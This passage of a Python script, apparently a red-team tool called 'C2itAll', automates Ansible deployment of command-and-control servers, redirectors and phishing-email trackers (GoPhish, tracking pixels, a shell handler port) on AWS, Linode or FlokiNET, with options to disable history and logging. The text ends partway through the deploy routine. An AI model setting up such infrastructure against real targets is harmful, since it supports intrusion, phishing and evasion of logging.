n0mad1k
1644 lines
69 KiB
Python
1644 lines
69 KiB
Python
#!/usr/bin/env python3
|
|
|
|
import os
|
|
import re
|
|
import sys
|
|
import subprocess
|
|
import argparse
|
|
import time
|
|
import yaml
|
|
import json
|
|
import random
|
|
import string
|
|
import shutil
|
|
import logging
|
|
import tempfile
|
|
from datetime import datetime
|
|
|
|
# Disable Ansible host key checking
|
|
os.environ["ANSIBLE_HOST_KEY_CHECKING"] = "False"
|
|
|
|
# Constants for providers
|
|
PROVIDERS = ["aws", "linode", "flokinet"]
|
|
DEFAULT_SSH_USER = {
|
|
"aws": "kali",
|
|
"linode": "root",
|
|
"flokinet": "root"
|
|
}
|
|
|
|
# Directory names - maintain correct case for each provider
|
|
PROVIDER_DIRS = {
|
|
"aws": "AWS",
|
|
"linode": "Linode",
|
|
"flokinet": "FlokiNET"
|
|
}
|
|
|
|
def generate_random_string(length=8):
|
|
"""Generate a random string of letters and digits."""
|
|
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
|
|
|
|
def generate_deployment_id():
|
|
"""Generate a consistent deployment ID for all resources in this deployment"""
|
|
rand_suffix = generate_random_string(6)
|
|
return f"{rand_suffix}"
|
|
|
|
def setup_logging(deployment_id=None):
|
|
"""Set up logging for the deployment"""
|
|
log_dir = "logs"
|
|
os.makedirs(log_dir, exist_ok=True)
|
|
|
|
# ALWAYS use the provided deployment_id - don't generate a new one
|
|
# This is the key change to ensure consistency
|
|
log_file = os.path.join(log_dir, f"deployment_{deployment_id}.log")
|
|
|
|
# Configure file handler to log DEBUG and above
|
|
logging.basicConfig(
|
|
filename=log_file,
|
|
level=logging.DEBUG,
|
|
format='%(asctime)s - %(levelname)s - %(message)s'
|
|
)
|
|
|
|
# Add console handler for INFO level and above
|
|
console = logging.StreamHandler()
|
|
console.setLevel(logging.INFO)
|
|
formatter = logging.Formatter('[%(levelname)s] %(message)s')
|
|
console.setFormatter(formatter)
|
|
logging.getLogger('').addHandler(console)
|
|
|
|
logging.info("Deployment started")
|
|
logging.info(f"Deployment ID: {deployment_id}")
|
|
return log_file
|
|
|
|
def parse_arguments():
|
|
"""Parse command line arguments"""
|
|
parser = argparse.ArgumentParser(
|
|
description='C2itAll - Red Team Infrastructure Setup',
|
|
formatter_class=argparse.RawDescriptionHelpFormatter
|
|
)
|
|
|
|
# Provider selection
|
|
parser.add_argument('-p', '--provider', choices=PROVIDERS, default=None, help='Provider to use for deployment')
|
|
|
|
# AWS-specific arguments
|
|
parser.add_argument('--aws-key', help='AWS access key')
|
|
parser.add_argument('--aws-secret', help='AWS secret key')
|
|
parser.add_argument('--aws-region', help='AWS region (default: random from vars.yaml)')
|
|
|
|
# Linode-specific arguments
|
|
parser.add_argument('--linode-token', help='Linode API token')
|
|
parser.add_argument('--linode-region', help='Linode region (default: random from vars.yaml)')
|
|
|
|
# FlokiNET-specific arguments
|
|
parser.add_argument('--flokinet', action='store_true', help='Use FlokiNET as the provider')
|
|
parser.add_argument('--flokinet-redirector-ip', help='FlokiNET redirector IP address')
|
|
parser.add_argument('--flokinet-c2-ip', help='FlokiNET C2 server IP address')
|
|
|
|
# General arguments
|
|
parser.add_argument('--ssh-key', help='Path to SSH private key')
|
|
parser.add_argument('--ssh-user', help='SSH username (default: provider-specific)')
|
|
parser.add_argument('--size', help='Size of the instance (default: provider-specific)')
|
|
parser.add_argument('--region', help='Generic region parameter')
|
|
parser.add_argument('--redirector-name', help='Name for the redirector instance (default: random)')
|
|
parser.add_argument('--c2-name', help='Name for the C2 instance (default: random)')
|
|
parser.add_argument('--redirector-subdomain', default='cdn', help='Subdomain for the redirector (default: cdn)')
|
|
parser.add_argument('--c2-subdomain', default='mail', help='Subdomain for the C2 server (default: mail)')
|
|
|
|
# Common arguments
|
|
parser.add_argument('--teardown', action='store_true', help='Tear down existing infrastructure')
|
|
parser.add_argument('--redirector-only', action='store_true', help='Deploy only the redirector')
|
|
parser.add_argument('--c2-only', action='store_true', help='Deploy only the C2 server')
|
|
parser.add_argument('--debug', action='store_true', help='Enable debug mode for verbose output')
|
|
parser.add_argument('--domain', help='Domain name for the C2 infrastructure')
|
|
parser.add_argument('--letsencrypt-email', help='Email for Let\'s Encrypt certificate')
|
|
|
|
# OPSEC settings
|
|
parser.add_argument('--disable-history', action='store_true', help='Disable command history on the servers')
|
|
parser.add_argument('--secure-memory', action='store_true', help='Enable secure memory settings')
|
|
parser.add_argument('--zero-logs', action='store_true', help='Enable zero-logs configuration')
|
|
|
|
# Post-deployment options
|
|
parser.add_argument('--ssh-after-deploy', action='store_true', help='SSH into the instance after deployment')
|
|
parser.add_argument('--copy-ssh-key', action='store_true', help='Copy SSH key to the server for passwordless login')
|
|
|
|
# Test options
|
|
parser.add_argument('--run-tests', action='store_true', help='Run deployment tests')
|
|
|
|
# Tracker deployment options
|
|
parser.add_argument('--deploy-tracker', action='store_true', help='Deploy phishing email tracking server')
|
|
parser.add_argument('--integrated-tracker', action='store_true', help='Deploy tracker on C2 server instead of separate instance')
|
|
parser.add_argument('--tracker-domain', help='Domain name for the tracker server')
|
|
parser.add_argument('--tracker-email', help='Email for Let\'s Encrypt certificate for tracker')
|
|
parser.add_argument('--tracker-name', help='Name for tracker instance (default: random)')
|
|
parser.add_argument('--tracker-ipinfo-token', help='IPinfo.io API token for geolocation')
|
|
parser.add_argument('--tracker-setup-ssl', action='store_true', help='Set up SSL for tracker')
|
|
parser.add_argument('--tracker-create-pixel', action='store_true', help='Create tracking pixel')
|
|
|
|
# Interactive mode
|
|
parser.add_argument('--interactive', action='store_true', help='Run in interactive wizard mode')
|
|
|
|
return parser.parse_args()
|
|
|
|
def interactive_setup(deployment_id=None):
|
|
"""Interactive setup wizard for deployment"""
|
|
config = {}
|
|
|
|
print("\n========================================")
|
|
print("C2itAll - Interactive Setup Wizard")
|
|
print("========================================\n")
|
|
|
|
# Create a deployment ID for consistent resource naming
|
|
deployment_id = deployment_id or generate_deployment_id()
|
|
config['deployment_id'] = deployment_id
|
|
|
|
# Select provider
|
|
print("Available cloud providers:")
|
|
for i, provider in enumerate(PROVIDERS, 1):
|
|
print(f" {i}. {provider.capitalize()}")
|
|
|
|
while True:
|
|
try:
|
|
provider_choice = int(input("\nSelect a provider (1-3): "))
|
|
if 1 <= provider_choice <= len(PROVIDERS):
|
|
config['provider'] = PROVIDERS[provider_choice - 1]
|
|
break
|
|
else:
|
|
print(f"Please enter a number between 1 and {len(PROVIDERS)}")
|
|
except ValueError:
|
|
print("Please enter a valid number")
|
|
|
|
# Load vars file for the selected provider
|
|
provider_dir = config['provider'].capitalize()
|
|
if config['provider'] == "aws":
|
|
provider_dir = "AWS"
|
|
elif config['provider'] == "flokinet":
|
|
provider_dir = "FlokiNET"
|
|
|
|
vars_file = f"{provider_dir}/vars.yaml"
|
|
vars_data = {}
|
|
|
|
if os.path.exists(vars_file):
|
|
try:
|
|
with open(vars_file, 'r') as f:
|
|
vars_data = yaml.safe_load(f) or {}
|
|
print(f"Loaded configuration from {vars_file}")
|
|
except Exception as e:
|
|
print(f"Warning: Failed to load {vars_file}: {e}")
|
|
|
|
# Provider-specific configuration
|
|
if config['provider'] == "aws":
|
|
# Set defaults from vars file
|
|
default_aws_key = vars_data.get('aws_access_key', '')
|
|
default_aws_secret = vars_data.get('aws_secret_key', '')
|
|
|
|
config['aws_access_key'] = input(f"\nAWS Access Key [{'*****' if default_aws_key else 'leave blank to use AWS CLI profile'}]: ") or default_aws_key
|
|
config['aws_secret_key'] = input(f"AWS Secret Key [{'*****' if default_aws_secret else 'leave blank to use AWS CLI profile'}]: ") or default_aws_secret
|
|
|
|
# Show available regions
|
|
aws_regions = vars_data.get('aws_region_choices', [])
|
|
if aws_regions:
|
|
print("\nAvailable AWS regions:")
|
|
for i, region in enumerate(aws_regions, 1):
|
|
print(f" {i}. {region}")
|
|
|
|
while True:
|
|
region_input = input("\nSelect a region (number) or press Enter for random: ")
|
|
if not region_input:
|
|
config['aws_region'] = None # Random
|
|
break
|
|
try:
|
|
region_choice = int(region_input)
|
|
if 1 <= region_choice <= len(aws_regions):
|
|
config['aws_region'] = aws_regions[region_choice - 1]
|
|
break
|
|
else:
|
|
print(f"Please enter a number between 1 and {len(aws_regions)}")
|
|
except ValueError:
|
|
print("Please enter a valid number or press Enter")
|
|
else:
|
|
default_region = vars_data.get('aws_region', 'us-east-1')
|
|
config['aws_region'] = input(f"\nAWS Region [default: {default_region}]: ") or default_region
|
|
|
|
# Instance size
|
|
default_size = vars_data.get('aws_instance_type', 't2.medium')
|
|
config['aws_instance_type'] = input(f"Instance Size [default: {default_size}]: ") or default_size
|
|
|
|
elif config['provider'] == "linode":
|
|
# Set defaults from vars file
|
|
default_token = vars_data.get('linode_token', '')
|
|
|
|
config['linode_token'] = input(f"\nLinode API Token [{'*****' if default_token else 'required'}]: ") or default_token
|
|
|
|
# Show available regions
|
|
linode_regions = vars_data.get('region_choices', [])
|
|
if linode_regions:
|
|
print("\nAvailable Linode regions:")
|
|
for i, region in enumerate(linode_regions, 1):
|
|
print(f" {i}. {region}")
|
|
|
|
while True:
|
|
region_input = input("\nSelect a region (number) or press Enter for random: ")
|
|
if not region_input:
|
|
config['linode_region'] = None # Random
|
|
break
|
|
try:
|
|
region_choice = int(region_input)
|
|
if 1 <= region_choice <= len(linode_regions):
|
|
config['linode_region'] = linode_regions[region_choice - 1]
|
|
break
|
|
else:
|
|
print(f"Please enter a number between 1 and {len(linode_regions)}")
|
|
except ValueError:
|
|
print("Please enter a valid number or press Enter")
|
|
else:
|
|
# Use defaults or empty values if no regions are defined
|
|
default_region = vars_data.get('linode_region', '')
|
|
config['linode_region'] = input(f"\nLinode Region [default: {default_region or 'random'}]: ") or default_region
|
|
|
|
# Instance size/plan
|
|
default_plan = vars_data.get('plan', 'g6-standard-2')
|
|
config['plan'] = input(f"Instance Plan [default: {default_plan}]: ") or default_plan
|
|
|
|
elif config['provider'] == "flokinet":
|
|
print("\nFlokiNET requires pre-provisioned servers.")
|
|
|
|
# Set defaults from vars file
|
|
default_redirector_ip = vars_data.get('redirector_ip', '')
|
|
default_c2_ip = vars_data.get('c2_ip', '')
|
|
default_ssh_user = vars_data.get('ssh_user', DEFAULT_SSH_USER['flokinet'])
|
|
default_ssh_port = vars_data.get('ssh_port', 22)
|
|
|
|
config['flokinet_redirector_ip'] = input(f"FlokiNET Redirector IP Address [default: {default_redirector_ip}]: ") or default_redirector_ip
|
|
config['flokinet_c2_ip'] = input(f"FlokiNET C2 Server IP Address [default: {default_c2_ip}]: ") or default_c2_ip
|
|
config['ssh_user'] = input(f"SSH User [default: {default_ssh_user}]: ") or default_ssh_user
|
|
config['ssh_port'] = input(f"SSH Port [default: {default_ssh_port}]: ") or default_ssh_port
|
|
|
|
ssh_key = input("Path to SSH Private Key [leave blank to generate new key]: ")
|
|
if ssh_key:
|
|
config['ssh_key'] = os.path.expanduser(ssh_key)
|
|
else:
|
|
config['ssh_key'] = None # Will generate a new key
|
|
|
|
# Deployment type with integrated tracker option
|
|
print("\nDeployment type:")
|
|
print(" 1. Full deployment (Redirector + C2) [default]")
|
|
print(" 2. Full deployment with integrated tracker (Redirector + C2 + Tracker)")
|
|
print(" 3. Redirector only")
|
|
print(" 4. C2 server only")
|
|
print(" 5. Standalone tracker only")
|
|
|
|
deploy_choice = input("\nSelect deployment type (1-5) [default: 1]: ")
|
|
if not deploy_choice or deploy_choice == "1":
|
|
config['redirector_only'] = False
|
|
config['c2_only'] = False
|
|
config['deploy_tracker'] = False
|
|
config['integrated_tracker'] = False
|
|
elif deploy_choice == "2":
|
|
config['redirector_only'] = False
|
|
config['c2_only'] = False
|
|
config['deploy_tracker'] = True
|
|
config['integrated_tracker'] = True
|
|
elif deploy_choice == "3":
|
|
config['redirector_only'] = True
|
|
config['c2_only'] = False
|
|
config['deploy_tracker'] = False
|
|
elif deploy_choice == "4":
|
|
config['redirector_only'] = False
|
|
config['c2_only'] = True
|
|
config['deploy_tracker'] = False
|
|
elif deploy_choice == "5":
|
|
config['redirector_only'] = False
|
|
config['c2_only'] = False
|
|
config['deploy_tracker'] = True
|
|
config['integrated_tracker'] = False
|
|
else:
|
|
print("Invalid choice, using default (Full deployment)")
|
|
config['redirector_only'] = False
|
|
config['c2_only'] = False
|
|
config['deploy_tracker'] = False
|
|
|
|
# Domain configuration
|
|
default_domain = vars_data.get('domain', 'example.com')
|
|
config['domain'] = input(f"\nDomain name [default: {default_domain}]: ") or default_domain
|
|
|
|
# Subdomain configuration - new feature
|
|
default_redirector_subdomain = vars_data.get('redirector_subdomain', 'cdn')
|
|
config['redirector_subdomain'] = input(f"Redirector subdomain [default: {default_redirector_subdomain}]: ") or default_redirector_subdomain
|
|
|
|
default_c2_subdomain = vars_data.get('c2_subdomain', 'mail')
|
|
config['c2_subdomain'] = input(f"C2 server subdomain [default: {default_c2_subdomain}]: ") or default_c2_subdomain
|
|
|
|
# Always use the most up-to-date domain for the email default
|
|
default_email = vars_data.get('letsencrypt_email')
|
|
if not default_email or "example.com" in default_email:
|
|
default_email = f"admin@{config['domain']}"
|
|
|
|
config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email
|
|
|
|
# Security options
|
|
print("\nSecurity options:")
|
|
default_disable_history = vars_data.get('disable_history', True)
|
|
default_secure_memory = vars_data.get('secure_memory', True)
|
|
default_zero_logs = vars_data.get('zero_logs', True)
|
|
|
|
disable_history = input(f"Disable command history? (y/n) [default: {'y' if default_disable_history else 'n'}]: ").lower()
|
|
secure_memory = input(f"Enable secure memory settings? (y/n) [default: {'y' if default_secure_memory else 'n'}]: ").lower()
|
|
zero_logs = input(f"Enable zero-logs configuration? (y/n) [default: {'y' if default_zero_logs else 'n'}]: ").lower()
|
|
|
|
config['disable_history'] = True if (disable_history == 'y' or (default_disable_history and disable_history != 'n')) else False
|
|
config['secure_memory'] = True if (secure_memory == 'y' or (default_secure_memory and secure_memory != 'n')) else False
|
|
config['zero_logs'] = True if (zero_logs == 'y' or (default_zero_logs and zero_logs != 'n')) else False
|
|
|
|
# Tracker configuration if enabled
|
|
if config['deploy_tracker']:
|
|
default_tracker_domain = f"track.{config['domain']}"
|
|
config['tracker_domain'] = input(f"\nTracker domain [default: {default_tracker_domain}]: ") or default_tracker_domain
|
|
|
|
default_tracker_email = config['letsencrypt_email']
|
|
config['tracker_email'] = input(f"Tracker Let's Encrypt email [default: {default_tracker_email}]: ") or default_tracker_email
|
|
|
|
config['tracker_ipinfo_token'] = input("IPinfo.io API token [optional]: ")
|
|
config['tracker_setup_ssl'] = input("Set up SSL for tracker? (y/n) [default: y]: ").lower() != 'n'
|
|
config['tracker_create_pixel'] = input("Create tracking pixel? (y/n) [default: y]: ").lower() != 'n'
|
|
|
|
# Post-deployment options
|
|
config['ssh_after_deploy'] = input("\nSSH into instance after deployment? (y/n) [default: n]: ").lower() == 'y'
|
|
|
|
# Debug mode
|
|
config['debug'] = input("Enable debug mode? (y/n) [default: n]: ").lower() == 'y'
|
|
|
|
# SSH key if not already set
|
|
if 'ssh_key' not in config or not config['ssh_key']:
|
|
ssh_key = input("\nPath to SSH Private Key [leave blank to generate new key]: ")
|
|
if ssh_key:
|
|
config['ssh_key'] = os.path.expanduser(ssh_key)
|
|
else:
|
|
# Generate SSH key using the deployment ID
|
|
config['ssh_key'] = generate_ssh_key(deployment_id)
|
|
|
|
# Generate instance names with consistent deployment ID
|
|
config['redirector_name'] = f"r-{deployment_id}"
|
|
config['c2_name'] = f"s-{deployment_id}"
|
|
|
|
if config.get('deploy_tracker'):
|
|
config['tracker_name'] = f"t-{deployment_id}"
|
|
|
|
# Additional settings from vars_data
|
|
config['gophish_admin_port'] = vars_data.get('gophish_admin_port', str(random.randint(2000, 9000)))
|
|
config['smtp_auth_user'] = vars_data.get('smtp_auth_user', f"user{random.randint(1000, 9999)}")
|
|
config['smtp_auth_pass'] = vars_data.get('smtp_auth_pass', ''.join(random.choices(string.ascii_letters + string.digits, k=20)))
|
|
config['shell_handler_port'] = vars_data.get('shell_handler_port', str(random.randint(4000, 65000)))
|
|
|
|
# Set up integrated tracker flag for deployment
|
|
if config.get('deploy_tracker') and config.get('integrated_tracker'):
|
|
config['setup_integrated_tracker'] = True
|
|
|
|
# Set SSH key path for proper reference
|
|
if config['ssh_key'].startswith(os.path.expanduser("~/.ssh/c2deploy_")):
|
|
config['ssh_key_path'] = f"{config['ssh_key']}.pub"
|
|
else:
|
|
config['ssh_key_path'] = f"{config['ssh_key']}.pub"
|
|
# Check if the public key exists
|
|
if not os.path.exists(config['ssh_key_path']):
|
|
# Try alternative extension
|
|
alt_path = f"{config['ssh_key']}.pub"
|
|
if os.path.exists(alt_path):
|
|
config['ssh_key_path'] = alt_path
|
|
|
|
print("\n========================================")
|
|
print("Configuration Summary")
|
|
print("========================================")
|
|
for key, value in config.items():
|
|
if key not in ['aws_secret_key', 'linode_token', 'smtp_auth_pass']:
|
|
print(f" {key}: {value}")
|
|
|
|
confirm = input("\nProceed with deployment? (y/n): ").lower()
|
|
if confirm != 'y':
|
|
print("Deployment cancelled.")
|
|
sys.exit(0)
|
|
|
|
return config
|
|
|
|
def load_vars_file(provider):
|
|
"""Load vars.yaml for the specified provider"""
|
|
if provider not in PROVIDER_DIRS:
|
|
logging.warning(f"Unknown provider: {provider}")
|
|
return {}
|
|
|
|
# Use correct case for directory
|
|
provider_dir = PROVIDER_DIRS[provider]
|
|
vars_file = f"{provider_dir}/vars.yaml"
|
|
|
|
if os.path.exists(vars_file):
|
|
try:
|
|
with open(vars_file, 'r') as f:
|
|
vars_data = yaml.safe_load(f) or {}
|
|
logging.info(f"Loaded configuration from {vars_file}")
|
|
return vars_data
|
|
except Exception as e:
|
|
logging.warning(f"Failed to load {vars_file}: {e}")
|
|
else:
|
|
logging.warning(f"{vars_file} not found")
|
|
|
|
return {}
|
|
|
|
def generate_random_string(length=8):
|
|
"""Generate a random string of letters and digits."""
|
|
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
|
|
|
|
def generate_ssh_key(deployment_id=None):
|
|
"""Generate an SSH key for deployment"""
|
|
# Use deployment_id if provided, otherwise generate random suffix
|
|
if deployment_id:
|
|
key_name = f"c2deploy_{deployment_id}"
|
|
else:
|
|
rand_suffix = generate_random_string()
|
|
key_name = f"c2deploy_{rand_suffix}"
|
|
|
|
ssh_dir = os.path.expanduser("~/.ssh")
|
|
os.makedirs(ssh_dir, exist_ok=True)
|
|
|
|
private_key_path = os.path.join(ssh_dir, key_name)
|
|
public_key_path = f"{private_key_path}.pub"
|
|
|
|
logging.info(f"Generating SSH key: {key_name}")
|
|
try:
|
|
subprocess.run(
|
|
["ssh-keygen", "-t", "ed25519", "-f", private_key_path, "-N", "", "-C", ""],
|
|
check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE
|
|
)
|
|
os.chmod(private_key_path, 0o600)
|
|
logging.info(f"SSH key generated successfully: {private_key_path}")
|
|
return private_key_path
|
|
except subprocess.CalledProcessError as e:
|
|
logging.error(f"Failed to generate SSH key: {e}")
|
|
return None
|
|
|
|
def select_random_region(config):
|
|
"""Select a random region from the available regions for the provider"""
|
|
provider = config['provider']
|
|
|
|
region_choices = []
|
|
if provider == "aws":
|
|
region_choices = config.get("aws_region_choices", [])
|
|
elif provider == "linode":
|
|
# Look for both variations of the key name
|
|
region_choices = config.get("region_choices", [])
|
|
|
|
# Debug the vars_data content
|
|
logging.debug(f"Linode config keys: {config.keys()}")
|
|
|
|
if not region_choices:
|
|
# Load directly from vars.yaml as fallback
|
|
try:
|
|
vars_file = "Linode/vars.yaml"
|
|
if os.path.exists(vars_file):
|
|
with open(vars_file, 'r') as f:
|
|
vars_data = yaml.safe_load(f)
|
|
region_choices = vars_data.get('region_choices', [])
|
|
logging.debug(f"Loaded region_choices directly from {vars_file}: {region_choices}")
|
|
except Exception as e:
|
|
logging.warning(f"Failed to load regions from vars file: {e}")
|
|
elif provider == "flokinet":
|
|
region_choices = config.get("flokinet_region_choices", [])
|
|
|
|
if not region_choices:
|
|
logging.warning(f"No region choices found for {provider}")
|
|
|
|
# Fallback regions by provider if none found in config
|
|
if provider == "linode":
|
|
region_choices = ["us-east", "us-central", "eu-west", "ap-south"]
|
|
logging.info(f"Using fallback regions for Linode: {region_choices}")
|
|
|
|
if not region_choices:
|
|
return None
|
|
|
|
# Select random region
|
|
region = random.choice(region_choices)
|
|
logging.info(f"Selected random {provider} region: {region}")
|
|
return region
|
|
|
|
def create_inventory_file(config, deployment_type):
|
|
"""Create a temporary inventory file for Ansible based on deployment type"""
|
|
inventory_content = []
|
|
inventory_content.append("[all:vars]")
|
|
|
|
# Add common variables
|
|
if config.get('ssh_key'):
|
|
inventory_content.append(f"ansible_ssh_private_key_file={config['ssh_key']}")
|
|
if config.get('ssh_user'):
|
|
inventory_content.append(f"ansible_user={config['ssh_user']}")
|
|
if config.get('ssh_port'):
|
|
inventory_content.append(f"ansible_port={config['ssh_port']}")
|
|
|
|
# Set Python interpreter appropriately based on deployment type
|
|
if deployment_type == "local":
|
|
# For local execution, use the current Python interpreter
|
|
inventory_content.append(f"ansible_python_interpreter={sys.executable}")
|
|
else:
|
|
# For remote hosts, use the system Python interpreter
|
|
inventory_content.append("ansible_python_interpreter=/usr/bin/python3")
|
|
|
|
# Add specific host sections based on deployment type
|
|
if deployment_type == "local":
|
|
inventory_content.append("\n[local]")
|
|
inventory_content.append("localhost ansible_connection=local")
|
|
elif deployment_type == "redirector":
|
|
inventory_content.append("\n[redirectors]")
|
|
inventory_content.append(f"redirector ansible_host={config.get('redirector_ip', '127.0.0.1')}")
|
|
elif deployment_type == "c2":
|
|
inventory_content.append("\n[c2servers]")
|
|
inventory_content.append(f"c2 ansible_host={config.get('c2_ip', '127.0.0.1')}")
|
|
elif deployment_type == "tracker":
|
|
inventory_content.append("\n[trackers]")
|
|
inventory_content.append(f"tracker ansible_host={config.get('tracker_ip', '127.0.0.1')}")
|
|
|
|
# Create temporary file
|
|
fd, inventory_path = tempfile.mkstemp(prefix=f"inventory_{deployment_type}_", suffix=".ini")
|
|
with os.fdopen(fd, 'w') as f:
|
|
f.write("\n".join(inventory_content))
|
|
|
|
logging.debug(f"Created inventory file at {inventory_path} with content:")
|
|
logging.debug("\n".join(inventory_content))
|
|
|
|
return inventory_path
|
|
|
|
def run_ansible_playbook(playbook, inventory, config, debug=False):
|
|
"""Run an Ansible playbook with the given inventory and config"""
|
|
# Convert config dict to JSON for extra-vars
|
|
extra_vars = {k: v for k, v in config.items() if v is not None and not isinstance(v, (dict, list, tuple))}
|
|
|
|
# Handle the region parameter correctly
|
|
if 'region' in extra_vars:
|
|
extra_vars['selected_region'] = extra_vars['region']
|
|
elif 'linode_region' in extra_vars:
|
|
extra_vars['selected_region'] = extra_vars['linode_region']
|
|
|
|
# Remove ansible_python_interpreter from extra_vars
|
|
if 'ansible_python_interpreter' in extra_vars:
|
|
extra_vars.pop('ansible_python_interpreter')
|
|
|
|
extra_vars_json = json.dumps(extra_vars)
|
|
|
|
# Set PYTHONPATH to include site-packages
|
|
env = os.environ.copy()
|
|
current_python = sys.executable
|
|
python_path = subprocess.check_output(
|
|
[current_python, "-c", "import sys; import site; print(':'.join(sys.path + site.getsitepackages()))"],
|
|
text=True
|
|
).strip()
|
|
env["PYTHONPATH"] = python_path
|
|
|
|
# Build command with output JSON facts format
|
|
cmd = [
|
|
"ansible-playbook",
|
|
"-i", inventory,
|
|
playbook,
|
|
"-e", extra_vars_json,
|
|
"--extra-vars", "ansible_facts_callback=json" # Get facts in JSON format
|
|
]
|
|
|
|
# Add verbosity if debug mode is enabled
|
|
if debug:
|
|
cmd.append("-vvv")
|
|
else:
|
|
cmd.append("-v")
|
|
|
|
# Log the command
|
|
if debug:
|
|
logging.debug(f"Running Ansible command: {' '.join(cmd)}")
|
|
else:
|
|
logging.info(f"Running Ansible playbook: {playbook}")
|
|
|
|
# Run the command
|
|
try:
|
|
result = subprocess.run(
|
|
cmd,
|
|
check=True,
|
|
stdout=subprocess.PIPE,
|
|
stderr=subprocess.PIPE,
|
|
text=True,
|
|
env=env
|
|
)
|
|
|
|
# Extract IP addresses from output
|
|
if "C2 Server IP:" in result.stdout:
|
|
ip_match = re.search(r"C2 Server IP: ([0-9.]+)", result.stdout)
|
|
if ip_match:
|
|
config['c2_ip'] = ip_match.group(1)
|
|
logging.info(f"Extracted C2 IP: {config['c2_ip']}")
|
|
|
|
if "Redirector IP:" in result.stdout:
|
|
ip_match = re.search(r"Redirector IP: ([0-9.]+)", result.stdout)
|
|
if ip_match:
|
|
config['redirector_ip'] = ip_match.group(1)
|
|
logging.info(f"Extracted Redirector IP: {config['redirector_ip']}")
|
|
|
|
logging.info(f"Playbook {playbook} executed successfully")
|
|
return True, result.stdout, result.stderr
|
|
except subprocess.CalledProcessError as e:
|
|
logging.error(f"Playbook {playbook} failed with exit code {e.returncode}")
|
|
if debug:
|
|
logging.error(f"Command stdout: {e.stdout}")
|
|
logging.error(f"Command stderr: {e.stderr}")
|
|
return False, e.stdout, e.stderr
|
|
|
|
def deploy_infrastructure(config):
|
|
"""Deploy infrastructure based on provider and configuration"""
|
|
provider = config['provider']
|
|
logging.info(f"Deploying {provider} infrastructure...")
|
|
|
|
# Set provider-specific environment variables
|
|
if provider == "aws":
|
|
if config.get('aws_access_key'):
|
|
os.environ['AWS_ACCESS_KEY_ID'] = config['aws_access_key']
|
|
if config.get('aws_secret_key'):
|
|
os.environ['AWS_SECRET_ACCESS_KEY'] = config['aws_secret_key']
|
|
elif provider == "linode":
|
|
if config.get('linode_token'):
|
|
os.environ['LINODE_TOKEN'] = config['linode_token']
|
|
|
|
# IMPORTANT: Ensure ssh_user is explicitly set to avoid template recursion
|
|
if provider == "linode":
|
|
config['ssh_user'] = "root"
|
|
elif provider == "aws":
|
|
config['ssh_user'] = "kali"
|
|
|
|
# Set tracker deployment flag for C2 configuration
|
|
if config.get('deploy_tracker') and config.get('integrated_tracker'):
|
|
config['setup_integrated_tracker'] = True
|
|
logging.info("Integrated tracker will be deployed on C2 server")
|
|
|
|
# Select random region if not specified
|
|
if not config.get('region'):
|
|
if provider == "linode" and config.get('linode_region'):
|
|
# Use the specified linode_region
|
|
config['region'] = config['linode_region']
|
|
elif provider == "aws" and config.get('aws_region'):
|
|
# Use the specified aws_region
|
|
config['region'] = config['aws_region']
|
|
else:
|
|
# If no specific region provided, select random
|
|
config['region'] = select_random_region(config)
|
|
|
|
# Set different instance sizes for redirector vs. C2
|
|
if provider == "linode":
|
|
# Store the original plan
|
|
original_plan = config.get('plan', 'g6-standard-2')
|
|
|
|
# For redirector, use smaller instance size regardless of what was specified
|
|
if not config.get('c2_only'):
|
|
redirector_config = config.copy()
|
|
redirector_config['plan'] = 'g6-nanode-1' # Smallest viable Linode plan
|
|
|
|
# Use the correct case for provider directory
|
|
provider_dir = PROVIDER_DIRS[provider]
|
|
playbook = f"{provider_dir}/redirector.yml"
|
|
inventory_path = create_inventory_file(redirector_config, "local")
|
|
|
|
logging.info(f"Deploying redirector using {playbook} with plan: g6-nanode-1")
|
|
redirector_success, stdout, stderr = run_ansible_playbook(
|
|
playbook, inventory_path, redirector_config, redirector_config.get('debug', False)
|
|
)
|
|
|
|
# Log Ansible output
|
|
if redirector_config.get('debug', False):
|
|
logging.debug(f"Ansible stdout: {stdout}")
|
|
if stderr:
|
|
logging.debug(f"Ansible stderr: {stderr}")
|
|
|
|
if os.path.exists(inventory_path):
|
|
os.unlink(inventory_path)
|
|
|
|
if not redirector_success:
|
|
logging.error("Redirector deployment failed")
|
|
return False
|
|
|
|
# For C2, use the original plan
|
|
if not config.get('redirector_only'):
|
|
# Restore original plan for C2
|
|
config['plan'] = original_plan
|
|
|
|
provider_dir = PROVIDER_DIRS[provider]
|
|
playbook = f"{provider_dir}/c2.yml"
|
|
inventory_path = create_inventory_file(config, "local")
|
|
|
|
logging.info(f"Deploying C2 server using {playbook} with plan: {config['plan']}")
|
|
c2_success, stdout, stderr = run_ansible_playbook(
|
|
playbook, inventory_path, config, config.get('debug', False)
|
|
)
|
|
|
|
# Log Ansible output
|
|
if config.get('debug', False):
|
|
logging.debug(f"Ansible stdout: {stdout}")
|
|
if stderr:
|
|
logging.debug(f"Ansible stderr: {stderr}")
|
|
|
|
if os.path.exists(inventory_path):
|
|
os.unlink(inventory_path)
|
|
|
|
if not c2_success:
|
|
logging.error("C2 server deployment failed")
|
|
return False
|
|
else:
|
|
# For AWS and other providers, follow the same pattern but with their directory names
|
|
provider_dir = PROVIDER_DIRS[provider]
|
|
|
|
# Redirector deployment
|
|
if not config.get('c2_only'):
|
|
playbook = f"{provider_dir}/redirector.yml"
|
|
inventory_path = create_inventory_file(config, "local")
|
|
|
|
logging.info(f"Deploying redirector using {playbook}")
|
|
redirector_success, stdout, stderr = run_ansible_playbook(
|
|
playbook, inventory_path, config, config.get('debug', False)
|
|
)
|
|
|
|
# Log Ansible output
|
|
if config.get('debug', False):
|
|
logging.debug(f"Ansible stdout: {stdout}")
|
|
if stderr:
|
|
logging.debug(f"Ansible stderr: {stderr}")
|
|
|
|
if os.path.exists(inventory_path):
|
|
os.unlink(inventory_path)
|
|
|
|
if not redirector_success:
|
|
logging.error("Redirector deployment failed")
|
|
return False
|
|
|
|
# C2 deployment
|
|
if not config.get('redirector_only'):
|
|
playbook = f"{provider_dir}/c2.yml"
|
|
inventory_path = create_inventory_file(config, "local")
|
|
|
|
logging.info(f"Deploying C2 server using {playbook}")
|
|
c2_success, stdout, stderr = run_ansible_playbook(
|
|
playbook, inventory_path, config, config.get('debug', False)
|
|
)
|
|
|
|
# Log Ansible output
|
|
if config.get('debug', False):
|
|
